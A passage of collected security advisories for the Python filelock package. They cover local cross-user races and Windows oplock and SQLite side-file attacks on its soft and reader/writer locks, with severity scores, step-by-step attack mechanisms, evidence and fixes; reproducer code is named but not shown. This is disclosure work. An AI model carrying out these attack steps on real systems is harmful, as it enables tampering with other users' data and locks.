/tmpincluded (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.Two of the lock user's processes then run the critical section together with no error. A
SoftFileLeasewaiter takes a live lease that its owner wrote moments before, within milliseconds instead of afterlease_duration. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (findingANT-2026-RKC48J5B).Severity
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).
AV:L(local): the other user needs an account on the same host.AC:H(high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired.PR:L(low privileges): an unprivileged account is enough.UI:N(no user interaction): the lock user's processes act on their own.C:N(no confidentiality impact): the other user reads nothing.I:H(high integrity impact): two holders write the data the lock protects, and neither learns of the other.A:N(no availability impact): the lock keeps working.Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.
Scope and preconditions
1777directory is enough. It creates,utimes (sets the timestamps of) and unlinks only its own file. In the sticky directory itsunlink,rename,open(..., "w")andutimeon a marker of the lock user all fail, and deleting its own file only frees the lock.CLOCK_REALTIME_COARSE, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).lease_duration).fs.protected_*sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part.StrictSoftFileLockkeys its watch the same way but only raisesSoftFileLockProtocolError, so it breaks no lock there.filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
Affected code
At the scanned commit b831496, the watch is
SoftFileLock._marker_unchanged_for, with its caller in_try_break_stale_lock. TheMarkerSoftFileLockandSoftFileLeasepaths hand an unparsable marker to the same code. The re-check inbreak_lock_filecompares the values the contender just read.Introduced
0f7c4d3794dc ("fix(soft): expire leases on the contender's clock", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.
Mechanism
SoftFileLock._acquirecreates the marker withO_CREAT | O_EXCL(create the file, fail if it exists) and only then writes the holder record. In between it callsfstatanduname, stats/proc/self/ns/pidand reads/proc/<pid>/stat, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch._try_break_stale_lockreads the marker, finds no holder, and callsbreak_lock_file(lock_file, mtime, ino)only if_marker_unchanged_for(mtime, ino)reachesMALFORMED_LOCK_AGE_THRESHOLD(2.0 s). That function keepsself._marker_seen = ((mtime, ino), first seen)across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with
utime, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.I) and sets its mtime toT, a tick of the coarse clock about 2.2 s in the future._marker_seen = ((T, I), first seen). After 2 s each poll callsbreak_lock_file, whoserenamefails withEPERM(operation not permitted; seen withstrace): the directory is sticky and the file belongs to the other user.suppress(OSError, ...)swallows the error, the file stays, and nothing resets_marker_seen.T, the other user unlinks its file. InodeIis free.T. ItsO_EXCLcreate succeeds, and its marker is inodeIwith mtimeT.(T, I),_marker_unchanged_forreturns the 2.2 s that S spent watching the other user's file, and S callsbreak_lock_file(lock_file, T, I).break_lock_filecompares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.acquire(). The path is empty, so the next contender to poll creates a marker and returns fromacquire()too. F's release finds another inode at the path (_unlink_open_marker) and leaves it. Neither holder learns anything.Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick
T, and a waiter broke 7 of those 13.MarkerSoftFileLockandSoftFileLeasehand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry:if owner.mode == "lease" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)._marker_seenis one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair(T, I)has gone unrefreshed forlease_duration, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes usingSoftFileLease(path, lease_duration=2)and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder'son_compromise(the callback that tells a holder it lost the lock) reportedowner-changed0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.Reproduction
The scanner's reproducer for finding
ANT-2026-RKC48J5B, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. Thereproscript drives the files underrepro.d/.reprorepro.d/attacker.pyrepro.d/victim.pyAttack sequence
Evidence
The scanner's reproducer runs ten copies of a default-option
SoftFileLockprogram (0.3 s of work per hold, 50 ms between holds) as uservictimin a root-owned1777directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as userattackerwaits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it whenCLOCK_REALTIME_COARSEreaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.In four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two
victimprocesses overlapping in time withis_locked=True, for examplepid=217 entered=241.295272609 exited=241.59542327andpid=216 entered=241.295518489 exited=241.595641553. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.Our review ran the reproducer over a loop-mounted ext4
/tmp(the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt,--cpus 2). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed thatutimecannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.Impact
A local user who can create a file in a soft lock's directory, a sticky directory such as
/tmpincluded, gets two processes of another user to hold the sameSoftFileLockat once (MarkerSoftFileLocktoo, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory itsunlink,rename,open(..., "w")andutimeon a marker of the lock user all fail, and deleting its own file only frees the lock. ForSoftFileLeasethe effect is a live, refreshed claim taken after milliseconds instead of afterlease_durationwithout a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.Workarounds
Keep soft locks in a directory other users cannot create files in (a
0700directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the nativeFileLockworks (local ext4 withflock), prefer it overSoftFileLock. Raisepoll_intervalso fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/843
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
ANT-2026-RKC48J5B, scanned commit b831496b0273)Severity
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break
CVE-2026-112907 / GHSA-567q-5qvw-pf92
More information
Details
On Windows the soft locks (
SoftFileLock,MarkerSoftFileLock,SoftFileLease, their async forms, and aFileLockthat fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Eachacquire()attempt that finds a marker opens it withos.opento read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every
acquire()by the user running the lock (below: the lock user) then waits inside the open, past itstimeout,blocking=Falseandcancel_check, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.Severity
CVSS 3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:Lscores 2.5 (Low).AV:L(local): the other account needs a logon on the same host.AC:H(high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past itslifetime.PR:L(low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list).UI:N(no user interaction).S:U(scope unchanged).C:NandI:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds.A:L(partial availability impact): one thread, or the event loop withrun_in_executor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.Classification from the review: security, conditional on an unheld marker that another account can open.
Scope and preconditions
SoftFileLock,MarkerSoftFileLock,SoftFileLease,AsyncSoftFileLockand the other async soft locks, andFileLockafter itsENOSYSfallback to a soft lock.WindowsFileLockopens its lock file on a separate code path that this advisory does not cover.os.open, which on Windows applies no more ofmodethan the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.lifetimehas passed. While the holder keeps its handle, the request fails.DeviceIoControland never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.SoftFileLock.acquire(timeout=1)returnedTimeoutafter 10.02 s with the second account's handle. In the same-account probeos.openwithO_RDONLYwas still running after 15 s and returned once the holder closed. The retry loop consultstimeout,blocking=Falseandcancel_checkbetween attempts only. WithAsyncSoftFileLock(run_in_executor=False)the event loop waits.break_lock_filerenames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.Affected code
Scanned commit
b831496b0273: theos.openin_read_lock_file(function), called from_try_break_stale_lockon every attempt that finds a marker, and from_unprobeable_holder,pidandis_lock_held_by_us.break_lock_filerenames at L116 and unlinks at L118 and L122, by path._poll_until_acquiredand_check_give_uptest the deadline,blockingandcancel_checkonly between attempts.Introduced
e35c3af "feat(soft): detect and break stale locks" (#476, 2026-02-13), first tag 3.22.0 (verified with
git tag --contains). Before it a soft lock created its marker withO_CREAT | O_EXCLand never opened an existing one. #476 read the marker on Windows throughCreateFileWand broke a stale one withPath.renameandPath.unlink. These wait for an oplock asos.opendoes, because none of them passesFILE_COMPLETE_IF_OPLOCKED, anNtCreateFileoption that returns instead of waiting. The read became theos.openin_read_lock_filewith bfbfa76 (#548, 3.29.1) and the break moved intobreak_lock_filewith d244c6d (#551, 3.29.2); the by-path calls stayed.Mechanism
Each attempt of
_acquirefirst callsos.open(path, O_WRONLY | O_CREAT | O_EXCL). On an existing marker that fails withEEXIST(orEACCESon Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too._acquirethen calls_try_break_stale_lock, which calls_read_lock_file:os.lstat, thenos.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK). On WindowsO_NOFOLLOWandO_NONBLOCKdo not exist (the code reads them withgetattr(os, ..., 0)), andos.opencallsCreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle._check_give_uptests the deadline after the attempt returns, so the wait overrunstimeout,blocking=Falseandcancel_checkby its length. Once the open returns, the attempt ends and_check_give_upraisesTimeout, because the deadline has passed.A marker whose holder is gone takes the second path.
break_lock_filerenames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe showsos.renameandos.unlinkstill running after 15 s and returning once the holder closed. Thelifetimebreak at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or twoacquire()calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.Reproduction
The review's reproducers, quoted as received.
oplock_vm.pysection[2]is this finding; sections[1a]and[1b]belong to therelease()advisory.oplock_semantics_vm.pyis the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #835 at3e4c5ef, where_read_lock_fileandbreak_lock_fileare the same code as atb831496b0273apart from import changes. The second accountfltesteris a member ofUsers; the directory grants it(OI)(CI)(M).oplock_vm.pyRecorded output of section
[2]:oplock_semantics_vm.pyThe review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock,
os.open(path, os.O_RDONLY),os.renameandos.unlinkwere still running after 15 s and returned only once the holder closed its handle;os.utimeby path and a failedO_CREAT | O_EXCLcreate returned at once.Failure sequence
Evidence
Section
[2]ofoplock_vm.pyacquiredsoft.lockas the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (oplock granted: True), and ranSoftFileLock(marker, is_singleton=False).acquire(timeout=1)on a thread. The call returnedTimeoutafter 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section[1a]of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (oplock_semantics_vm.py) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create andos.utimeby path return at once, so the wait is in the read and the break, not in the create attempt.Impact
Each
acquire()of a soft lock that finds a marker another account holds an oplock on runs past itstimeout,blocking=Falseandcancel_checkuntil the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. WithAsyncSoftFileLock(run_in_executor=False)the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, andFileLockis a soft lock on builds withoutfcntland after itsENOSYSfallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.Workarounds
SYSTEMandAdministratorsgranted (icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F").modedoes not do this on Windows.AsyncSoftFileLockwith the default executor rather thanrun_in_executor=False, so that only a worker thread waits.timeout,blockingorcancel_checkvalue bounds the wait.Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/835
Credits
Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4).
Severity
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database
CVE-2026-112913 / GHSA-9vhv-jxww-xfm5
More information
Details
On Windows,
ReadWriteLockandAsyncReadWriteLock(the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path:<database>-journal, the rollback journal (pages saved to undo an interrupted write);<database>-wal, the write-ahead log (changes kept outside the main file); and<database>-shm, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyoneDELETEon it, which a file's creator may do.C:\Windows\Temp(the temporary directory of services, grantingBUILTIN\Userscreate but not delete) andC:\Users\Publicare such directories.With a
-walin place, everyread_lock()andwrite_lock()of the user running the lock (below: the lock user) raisessqlite3.OperationalError: disk I/O errorat once, whatevertimeoutsays, until that account removes its file; the lock user cannot. With a-journalbeside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.Severity
CVSS 3.1
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Lscores 3.3 (Low).AV:L(local): the other account needs a logon on the same host.AC:L(low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier.PR:L(low privileges): an ordinary account that can create files in the directory is enough.UI:N(no user interaction).S:U(scope unchanged).C:N(no confidentiality impact): the other account learns nothing.I:N(no integrity impact in the scored variant): see the scoring note.A:L(partial availability impact): every acquire fails with an exception thatTimeouthandlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.Scoring note. The deletion variant reads
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L(3.6):I:Lbecause the lock user's process deletes one file the journal names,AC:Hbecause it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches everyReadWriteLockon Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: security (another account), availability for the scored variant.Scope and preconditions
ReadWriteLockandAsyncReadWriteLock, both of which connect through_connect. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8.C:\Windows\TempcarriesBUILTIN\Users:(CI)(S,WD,AD,X)(create file and create subdirectory, no delete child);C:\Users\Publicand any directory with such an entry qualify. A directory only the lock user can write, such as%LOCALAPPDATA%or the per-user temporary directory, is not affected.<database>-wal, grants everyone modify and denies everyoneDELETEon it. A file's creator may set both. The lock user can open and read the file but not delete it.<database>-journalgrants the lock account modify rights. The journal's tail names a file the lock user can delete.write_lock(timeout=1)raisedsqlite3.OperationalError: disk I/O errorwith the undeletable-walin place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raisedsqlite3.OperationalError: unable to open database file.WindowsFileLock, in its symlink paragraph; theReadWriteLockdocumentation names no directory requirement on Windows.Affected code
Scanned commit
b831496b0273: the Windows branch of_connectchecks the database through a handle and then callssqlite3.connect(database, ...)with the path._open_lock_databaseand_raise_if_walinspect that handle, not the side files. The first statement isPRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;at L816._do_acquire_innerat L763 turns only"database is locked"intoTimeout; any othersqlite3.OperationalErrorleaves the acquire.Introduced
cfd4446 "feat(lock): add SQLite-based ReadWriteLock" (#399, 2026-02-12), first tag 3.20.4 (verified with
git tag --contains), passed the lock path tosqlite3.connecton every platform. The Linux descriptor route (4.0.9) and the macOS hard-link route (4.1.1) did not change Windows, where the connect has been by name in every release since. The reproducer ran against the head of PR #834 at1f9e415, whose Windows branch of_connectis the same code as atb831496b0273.Mechanism
_connecton Windows opens the database with_open_non_reparse_fd, checks through that handle that the file is a regular file, not a reparse point, and that its header does not declare WAL mode, and keeps the handle open whilesqlite3.connect(database)opens the same name. The check covers the database, not the names beside it. On the first statement,PRAGMA journal_mode=MEMORY, SQLite takes its first lock on the database and looks for<database>-wal. A non-empty-walbeside a database that is not in WAL mode is a leftover SQLite deletes. The other account's file deniesDELETE, so the pragma raisesSQLITE_IOERR_DELETE, which reaches the caller assqlite3.OperationalError: disk I/O error._do_acquire_innerconverts only "database is locked" intoTimeout, soacquire_read(),acquire_write()and the async forms raise at once, on every call, until the file is gone. The lock user has no right to delete it.The journal variant needs a database with content. Beside a non-empty database SQLite treats a
<database>-journalwith a valid header as hot (left by an interrupted write) and replays it before the first statement runs. The review's journal is 46 bytes: a file path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. That tail names a super-journal, and recovery ends by deleting the file it names. The lock user'swrite_lock()therefore deletes one file the other account chose, provided the lock user can delete it, and returns without error. SQLite opens a hot journal for writing, so the other account's journal must grant the lock account modify rights; a read-only journal makes every acquire raisesqlite3.OperationalError: unable to open database fileinstead. GHSA-v4x8-3wr5-3wq8 describes the same side-file behavior on POSIX, where the sticky bit plays the part the directory ACL plays here.Reproduction
The review's reproducer, quoted as received except for the second account's password on line 2, replaced by
<password>. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #834 at1f9e415, as the administrator accountbernat, which stands in for the other account that creates the side files; the lock account isfltester, a member ofUsers, whose database lives inC:\Windows\Temp.win_two_accounts.pyRecorded output on the VM:
Failure sequence
Evidence
The reproducer printed the three lines above on the VM: the undeletable
-walbeside an empty database madewrite_lock(timeout=1)fail withOperationalError: disk I/O errorand left the file in place; the writable journal beside a database with one table let the acquire succeed while the file the journal named, created by the lock account with the contentkeep, was gone along with the journal; the read-only journal made the acquire fail withOperationalError: unable to open database fileand left both files. The review notes that the Windows branch of_connectis unchanged since #399, so the behavior is the same atb831496b0273and in 4.2.0. The scanner and the maintainers measured the same side-file effects on Linux for GHSA-v4x8-3wr5-3wq8.Impact
In a directory such as
C:\Windows\Temp, another local account turns everyread_lock()andwrite_lock()on aReadWriteLockdatabase into an immediatesqlite3.OperationalError, for as long as its file stays. Callers that handleTimeoutorOSErrordo not catch it, and the lock user cannot remove the file. With a lock database that holds a table and a journal the lock user can write, the lock user's process deletes one file of the other account's choosing, among the files the lock user may delete, and the acquire reports success. The lock's own database is not changed, nothing is read, and mutual exclusion between processes that acquire the lock holds.Workarounds
ReadWriteLockdatabase in a directory other accounts cannot create files in:%LOCALAPPDATA%, the per-user temporary directory (%TEMP%of a user session), or a directory with inheritance removed and only the owner,SYSTEMandAdministratorsgranted.C:\Windows\TempandC:\Users\Publicdo not qualify.sqlite3.OperationalError: disk I/O erroron every acquire as a foreign<database>-walbeside the database, which only its creator or an administrator can remove.Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/854
Credits
Found by the maintainers while reviewing the fix for the POSIX form of this defect, GHSA-v4x8-3wr5-3wq8, reported by Anthropic's OSS Scanner on 15 October 2026 (review round 4, set D, finding F2).
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory
CVE-2026-112914 / GHSA-crv4-6mhj-j5jh
More information
Details
When a soft-lock stale break finds that the marker (the lock file at
<path>) it renamed aside was a live one recreated by a successor, the restore branch ofbreak_lock_file()checks the break name withlstat(a check that reads a name without following a symbolic link) and then callsos.link(break_path, lock_file)by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.The
SoftFileLock,MarkerSoftFileLock,SoftFileLeaseorlifetimebreak of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links thatfs.protected_hardlinks(a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a laterFileLockof the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (findingANT-2026-SB29HIAL).Severity
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).
AV:L(local): the other user needs an account on the same host.AC:H(high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles).PR:L(low privileges): an unprivileged account is enough.UI:N(no user interaction): the lock user's process acts on its own.C:L(low confidentiality impact): the file's metadata through the new name, not its content.I:H(high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's ownFileLocktruncated the 17-byte private file to 0 bytes and, with a permissivemode, would have changed its mode too.A:N(no availability impact): the lock keeps working.Classification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when
lstatruns, not one swapped in after it.Scope and preconditions
0777or group-writable cache or project directory. In a root-owned1777directory the unprivileged lock user cannot rename the other user's marker and only waits. In a1777directory the lock user owns,fs.protected_symlinks=1(a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes thelinkfail withEACCES(permission denied). Testing showed no effect in sticky directories.os.linkfollows symbolic links. CPython 3.14 on Linux issueslinkat(..., AT_SYMLINK_FOLLOW). CPython 3.11 issueslink(2), which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOSlink(2)follows (confirmed in our review on macOS 27.0.1: a plainos.linkof a symbolic link gave the targetst_nlink2, that is two names).SoftFileLock,MarkerSoftFileLock,SoftFileLeaseand thelifetimebreak. The nativeFileLockdoes not, but it is the consumer that turns the planted link into a truncation.filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.
Affected code
At the scanned commit b831496, the restore branch of
break_lock_fileruns forSoftFileLock._try_break_stale_lock,MarkerSoftFileLock,SoftFileLeaseand thelifetimebreak. The truncation inUnixFileLock._finalize_locked_fdis what a later native lock on the planted name did to the file (reported in its own advisory).Introduced
fc73fc51e137 ("fix(soft): restore a live marker a stale break moved aside", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.
Mechanism
The
S_ISREGtest (is it a regular file) is about whatlstatsaw on line 117, not about whatlinkresolves on line 121. The docstring says the code must not put a symbolic link back "becauselinkwould follow a symlink to its target", and the test at the scanned commit names the consequence ("publish the victim file's inode at the lock path"), but that test only covers a symbolic link that is already there whenlstatruns. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links passfollow_symlinks=Falsewhere the runtime honours it; this one does not. Anstrace(a tool that logs a process's system calls) on CPython 3.14.8 showsos.link(a, b)aslinkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW).The other user plays both the stale holder and the "successor" the branch exists for:
_exits). The lock user's_try_break_stale_lock()reads it andowner_is_stale()agrees, sobreak_lock_file()renames it toapp.lock.break.<pid>.<token>. In a directory without the sticky bit the lock user may rename a file it does not own.lstaton line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.app.lockbecomes a second hard link to the private file. Line 122 removes the symbolic link.The other user's own
os.link()on the private file fails withEACCES(it cannot enter the0700directory). On a file of the lock user it can reach,fs.protected_hardlinks=1answersEPERM(operation not permitted). The lock user would evict the odd "marker" afterMALFORMED_LOCK_AGE_THRESHOLD(2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between thelstaton line 113 and the one on line 117 (half of it therename), and about 2 µs between line 117 and theos.link()call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.Reproduction
The scanner's reproducer for finding
ANT-2026-SB29HIAL, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. Thereproscript drives the files underrepro.d/.reprorepro.d/plant_stale_marker.pyrepro.d/swap_break_name.pyrepro.d/unpaused_attacker.pyrepro.d/unpaused_victim.pyrepro.d/victim_job.pyrepro.d/victim_other_job.pyAttack sequence
Evidence
The scanner's reproducer takes about 5 s and is deterministic. Root creates
/home/victim/private(0700) withsigning.key(17 bytes,0600) and/tmp/shared-locks(0777, no sticky bit), withfs.protected_hardlinks = 1andfs.protected_symlinks = 1. In the control step, theattackeraccount runsos.link(key, /tmp/shared-locks/by-attacker)and getsPermission denied. Then theattackerchild leavesapp.lock held by pid 253 which has exited. Thevictimaccount runswith SoftFileLock(path)understrace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000, which holds it 2 s after itsrename()and 2 s before itslinkat()without changing any call. Theattackeraccount bumps the break file, swaps in the symbolic link, and renamesapp.locktoother.lock.The result line reads
signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock'], and after thevictimaccount's second program takesFileLock('/tmp/shared-locks/other.lock'),size=0. VerdictBUG. The unpaused variant (unpaused_victim.pylooping on the lock,unpaused_attacker.pytiming both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).Our review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain
os.linkof a symbolic link follows it (targetst_nlink2) whilefollow_symlinks=Falselinks the symbolic link itself, which confirms the report's macOS note.Impact
